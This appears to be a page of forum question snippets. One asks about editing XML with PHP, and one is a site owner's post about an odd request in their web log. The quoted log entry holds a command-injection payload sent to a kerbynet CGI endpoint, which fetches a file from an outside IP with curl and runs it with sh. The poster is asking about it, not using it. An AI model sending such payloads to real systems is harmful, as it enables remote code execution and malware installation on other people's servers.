deleting/editing xml using php

function myFunction(xml) { var i; var xmlDoc = xml.responseXML; var table="<td style=’height:50px’; colspan=’3′>All OrderCustomerShip toDateTotal"; var x = xmlDoc.getElementsByTagName("olist"); for (i = 0; i <x.length; i++) { table += "<input…

Very Strange Access Request to my website

Recently I got a very odd request to my website. This is from the log file: 20.42.89.182 – – [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 20.42.89.182 -…